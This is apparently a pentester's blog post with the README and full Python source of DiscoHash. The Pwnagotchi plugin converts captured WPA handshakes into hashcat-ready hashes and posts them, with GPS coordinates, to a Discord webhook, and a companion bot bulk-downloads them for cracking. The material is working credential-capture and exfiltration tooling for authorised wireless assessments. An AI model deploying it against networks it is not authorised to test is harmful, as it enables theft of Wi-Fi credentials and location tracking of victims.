The Pwnagotchi is a great tool for wireless assessments, it’s small, effective and customisable. One of the annoyances I found was that it’s a bit time consuming having to transfer hashes off quickly during an assessemnt. To overcome this, I created the plugin below. With this plugin running there’s no need to pull the Pwnagotchi out at all, just walk around the site and new captured hashes will be posted to Discord along with a hash analysis!
The added discord bot speeds things up even more and will let you pull x amount of hashes (beginning at the most recent) as a .txt file straight from Discord. To fully automate the process, it would be easy to write a python script that imports hashbot, pulls all new hashes periodically and pipes them straight into hashcat.
Github repo and associated code below:
Readme
____ __ __ __
/ __ \(⌐■_■)__________ / / / /___ ______/ /_
/ / / / / ___/ ___/ __ \/ /_/ / __ `/ ___/ __ \
/ /_/ / (__ ) /__/ /_/ / __ / /_/ (__ ) / / /
/_____/_/____/\___/\____/_/ /_/\__,_/____/_/ /_/
>: What does this plugin do (◕‿‿◕)?
DiscoHash is a Pwnagotchi plugin that converts pcaps captured by Pwnagotchi to a hashcat compatible hash (EAPOL/PMKID: mode 22000) and posts them to Discord along with any GPS location data (from USB dongle or net-pos plugin) using a web hook.
To avoid reinventing the wheel DiscoHash reuses a couple of functions from the hashie and discord plugins.
Within the bot folder there is a Discord Bot that will scrape all captured hashes from the discord server and return them in a text file. This is not required for the plugin, but it makes it easier to pull large amounts of hashes quickly. You can modify the discord bot to only pull hashes from within a certain date range etc.
Example Output:
ps. can you crack my AP? (⌐■_■)
>: Installation:
After you have Pwnagotchi up and running, download, compile and install hxctools.
sudo su
apt-get update
apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev
cd /opt
git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
make install
Create a new Discord server and set up a new web hook. Copy discohash.py from this repo to /usr/local/share/pwnagotchi/installed-plugins/ (if the directory doesn’t exist create it)
cd /usr/local/share/pwnagotchi/installed-plugins
sudo wget https://raw.githubusercontent.com/flamebarke/DiscoHash/main/discohash.py
Set the following options within /etc/pwnagotchi/config.toml
main.plugins.discohash.enabled = true
main.plugins.discohash.webhook_url = "YOUR WEB HOOK URL"
>: Usage:
Simply reboot Pwnagotchi make sure it has internet access (bluetooth pairing) and watch those hashes roll in!
>: Notes (◕‿‿◕):
If you have a custom handshake directory then you will need to modify line 32 of discohash.py to your custom handshake directory.
DiscoHash checks for new pcap files at the end of each epoch so they will come fairly frequently. To reduce this interval modify the code to use a different callback.
To check out how to make plugins for Pwnagotchi check the docs here.
You can contact me by sending my Pwnagotchi some PwnMail at:
f033aa5cd581f67ac5f88838de002fc240aadc74ee2025b0135e5fff4e4b5a4a
>: To Do:
- Parse lat/long from GPS and add to message
- Add one liner for cracking the hash with hashcat
hashbot.py
#! /usr/bin/python3
__author__ = "Shain Lakin"
__license__ = "GPL3"
__version__ = "1.0.0"
__description__ = """
This bot will return the hashes obtained using discohash
for a specified number of access points as a txt file.
Message the bot with !dumphash [NUMBER].
"""
import os
import discord
from discord.ext import commands
from dotenv import load_dotenv
# 1. Create a bot in the Discord developer portal
# 2. Grant it the required permissions (message_content)
# 3. Obtain a token and the channel ID
# 4. Add these to a .env file containted in the same directory
load_dotenv()
TOKEN = os.getenv('DISCORD_TOKEN')
GUILD = os.getenv('DISCORD_GUILD')
CHANNEL = os.getenv('GUILD_CHANNEL')
bot = commands.Bot(command_prefix="!", intents=discord.Intents.all())
@bot.command(name="dumphash")
async def on_message(ctx, num_hashes=int(1000)):
try:
with open('hashes.22000', 'w') as f:
channel = bot.get_channel(int(CHANNEL))
message = channel.history(limit=int(num_hashes))
async for i in message:
hash_dict = i.embeds[0].to_dict()
hash = hash_dict['fields'][0]['value']
f.write(hash[1:-1])
f.close()
with open('hashes.22000', 'r') as f:
await ctx.send(file=discord.File(f, 'hashcat.22000.txt'))
f.close()
except KeyboardInterrupt:
await bot.close()
exit(0)
bot.run(TOKEN)
discohash.py
import os
import json
import logging
import requests
import subprocess
import pwnagotchi
import pwnagotchi.plugins as plugins
class discohash(plugins.Plugin):
__author__ = 'Shain Lakin'
__version__ = '1.1.0'
__license__ = 'GPL3'
__description__ = '''
DiscoHash extracts hashes from pcaps (hashcat mode 22000) using hcxpcapngtool,
analyses the hash using hcxhashtool and posts the output to Discord along with
any obtained GPS coordinates.
'''
def __init__(self):
logging.debug("[*] DiscoHash plugin created")
# called when the plugin is loaded
def on_loaded(self):
global tether
tether = False
logging.info(f"[*] DiscoHash plugin loaded")
# called when internet is available
def on_internet_available(self, agent):
global tether
tether = True
# called when an epoch is over (where an epoch is a single loop of the main algorithm)
def on_epoch(self, agent, epoch, epoch_data):
global fingerprint
fingerprint = agent.fingerprint()
handshake_dir = "/root/handshakes/"
if tether:
self.process_pcaps(handshake_dir)
else:
return
def process_pcaps(self, handshake_dir):
handshakes_list = [os.path.join(handshake_dir, filename) for filename in os.listdir(handshake_dir) if filename.endswith('.pcap')]
failed_jobs = []
successful_jobs = []
lonely_pcaps = []
for num, handshake in enumerate(handshakes_list):
fullpathNoExt = handshake.split('.')[0]
pcapFileName = handshake.split('/')[-1:][0]
if not os.path.isfile(fullpathNoExt + '.22000'):
if self.write_hash(handshake):
successful_jobs.append('22000: ' + pcapFileName)
else:
failed_jobs.append('22000: ' + pcapFileName)
if not os.path.isfile(fullpathNoExt + '.22000'):
lonely_pcaps.append(handshake)
logging.debug('[*] DiscoHash Batch job: added {} to lonely list'.format(pcapFileName))
if ((num + 1) % 10 == 0) or (num + 1 == len(handshakes_list)):
logging.debug('[*] DiscoHash Batch job: {}/{} done ({} fails)'.format(num + 1,len(handshakes_list),len(lonely_pcaps)))
if successful_jobs:
logging.debug('[*] DiscoHash Batch job: {} new handshake files created'.format(len(successful_jobs)))
if lonely_pcaps:
logging.debug('[*] DiscoHash Batch job: {} networks without enough packets to create a hash'.format(len(lonely_pcaps)))
def write_hash(self, handshake):
fullpathNoExt = handshake.split('.')[0]
filename = handshake.split('/')[-1:][0].split('.')[0]
result = subprocess.getoutput('hcxpcapngtool -o {}.22000 {} >/dev/null 2>&1'.format(fullpathNoExt,handshake))
if os.path.isfile(fullpathNoExt + '.22000'):
logging.info('[+] DiscoHash EAPOL/PMKID Success: {}.22000 created'.format(filename))
self.get_coord(fullpathNoExt)
self.post_hash(fullpathNoExt)
return True
else:
return False
def get_coord(self, fullpathNoExt):
global lat
global lon
global loc_url
try:
if os.path.isfile(fullpathNoExt + '.gps.json'):
read_gps = open(f'{fullpathNoExt}.gps.json', 'r')
gps_bytes = read_gps.read()
raw_gps = json.loads(gps_bytes)
lat = json.dumps(raw_gps['Latitude'])
lon = json.dumps(raw_gps['Longitude'])
loc_url = "https://www.google.com/maps/search/?api=1&query={},{}".format(lat, lon)
else:
read_gps = open(f'{fullpathNoExt}.geo.json', 'r')
gps_bytes = read_gps.read()
raw_gps = json.loads(gps_bytes)
lat = json.dumps(raw_gps['location']['lat'])
lon = json.dumps(raw_gps['location']['lng'])
loc_url = "https://www.google.com/maps/search/?api=1&query={},{}".format(lat, lon)
except:
lat = "NULL"
lon = "NULL"
loc_url = "https://www.youtube.com/watch?v=gkTb9GP9lVI"
def post_hash(self, fullpathNoExt):
try:
hash_val = open(f'{fullpathNoExt}.22000', 'r')
hash_data = hash_val.read()
hash_val.close()
analysis = subprocess.getoutput('hcxhashtool -i {}.22000 --info=stdout'.format(fullpathNoExt))
except Exception as e:
logging.warning('[!] DiscoHash: An error occured while analysing the hash: {}'.format(e))
try:
data = {
'embeds': [
{
'title': '(ᵔ◡◡ᵔ) {} sniffed a new hash!'.format(pwnagotchi.name()),
'color': 289968,
'url': 'https://pwnagotchi.ai/pwnfile/#!{}'.format(fingerprint),
'description': '__**Hash Information**__',
'fields': [
{
'name': 'Hash:',
'value': '`{}`'.format(hash_data),
'inline': False
},
{
'name': 'Hash Analysis:',
'value': '```{}```'.format(analysis),
'inline': False
},
{
'name': '__**Location Information**__',
'value': '[GPS Waypoint]({})'.format(loc_url),
'inline': False
},
{
'name': 'Raw Coordinates:',
'value': '```{},{}```'.format(lat,lon),
'inline': False
},
],
'footer': {
'text': 'Pwnagotchi v1.5.5 - DiscoHash Plugin v{} \
\nAuthors PwnMail: f033aa5cd581f67ac5f88838de002fc240aadc74ee2025b0135e5fff4e4b5a4a'.format(self.__version__)
}
}
]
}
requests.post(self.options['webhook_url'], files={'payload_json': (None, json.dumps(data))})
logging.debug('[*] DiscoHash: Webhook sent!')
except Exception as e:
logging.warning('[!] DiscoHash: An error occured with the plugin!{}'.format(e))